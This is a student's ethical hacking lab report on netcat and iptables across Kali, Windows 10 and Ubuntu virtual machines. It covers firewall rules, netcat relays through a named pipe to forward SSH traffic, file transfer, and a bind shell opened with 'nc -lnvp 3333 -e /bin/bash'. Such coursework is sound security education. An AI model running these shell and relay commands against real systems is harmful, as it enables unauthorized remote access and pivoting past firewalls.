ETHICAL HACKING

LAB ASSIGNMENT -2

Name: Dasari Sanath Kumar

ID: 700760349

CRN: 22285

IP Address of virtual machines:

[Kali IP address] : 192.168.2.130

[Windows 10 IP address]: 192.168.2.135

[Ubuntu Ip]: 192.168.1.38

1. To start SSH service (Secure Socket Shell service) we need to use the below command

└─$ **sudo service ssh start**

1. In order to check whether the ports are listening. execute below command on kali linux meachine

└─$ **sudo netstat -nat | grep 22**

A screen shot of a computer

Description automatically generated

1. Need to move to our windows 10 machine and need to place putty.exe in Tools folder of our C:\ drive.
2. Need to open our C:\Tools folder in windows 10 command prompt terminal and execute the following command

## C:\Tools> **putty [Kali IP address]**

Now will prompt you the putty window asking for kali Linux credentials.

Now by entering “exit” on putty we can close our putty window

A screenshot of a computer

Description automatically generated

1. We can block input packets from windows 10 on particular port by using the following command.

# $ sudo iptables -A INPUT -s [Windows 10 IP address] -p tcp --dport 22 -j DROP

Now we won’t be able to connect t0 Linux machine from windows 10 using putty as it prompts network connection timed out error.

1. After executing the below commands:

# **nc -lnvp 3333** on Linux machine

# C:\> C:\Tools\nc [Kali Linux IP Address] 3333 - on windows 10

We will be able to send some data on to our Linux machine.

1. This command is used to make a backpipe node

# **$ mknod /tmp/backpipe p**

This command is used to forward TCP connections that arrive on TCP port 3333 to the local host (Kali Linux machine) on TCP port 22, where sshd (SSH server) is listening. **$ nc -lnvp 3333 0</tmp/backpipe | nc -nv 127.0.0.1 22 1>/tmp/backpipe**

1. In order to list the IP Tables we use the following command

$ sudo iptables -n –list on Linux machine  
 A computer screen shot of a computer screen

Description automatically generated

1. In order to remove firewall rules form IP Tables we use the following commands

sudo iptables -D INPUT -s [Windows 10 IP\_address] -p tcp --dport 3333 -j ACCEPT

$ sudo iptables -D INPUT -s [Windows 10 IP\_address] -p tcp --dport 22 -j DROP

1. To set relay to Ubuntu from Linux machine we need to follow with the below commands

$ sudo nc -lnvp 2222 0</tmp/backpipe | nc [Ubuntu Linux IP-Address] 22 1>/tmp/backpipe

1. Execute the following commands on windows 10 :

echo nc -nv [Ubuntu Ip] 3333 > relay.bat

nc -lnvp 2222 -e relay.bat

we will be able to listen to port 2222 from windows

1. execute the following command on ubuntu :

nc -lnvp 3333 -e /bin/bash

we will be able to listen to port 3333 from ubuntu

execute below command on Linux root user

nc -nv [Windows 10 IP\_Address] 2222  
  
A computer screen shot of a computer screen

Description automatically generated

1. we can copy a file from linux to windows 10 by using net cat commands below
2. nc -l -p 3333 < whoami.exe ( To be executed in linux machine) on root user
3. C:\Tools>nc.exe 192.168.2.130 3333<whoami.exe (To be executed on windows10 machine

Please check below Screenshots

A computer screen with a screen showing a screen with a black background

Description automatically generated with medium confidenceA screenshot of a computer

Description automatically generated

Screenshots for sending data between two VM’s using netcat commands.

A computer screen shot of a computer screen

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated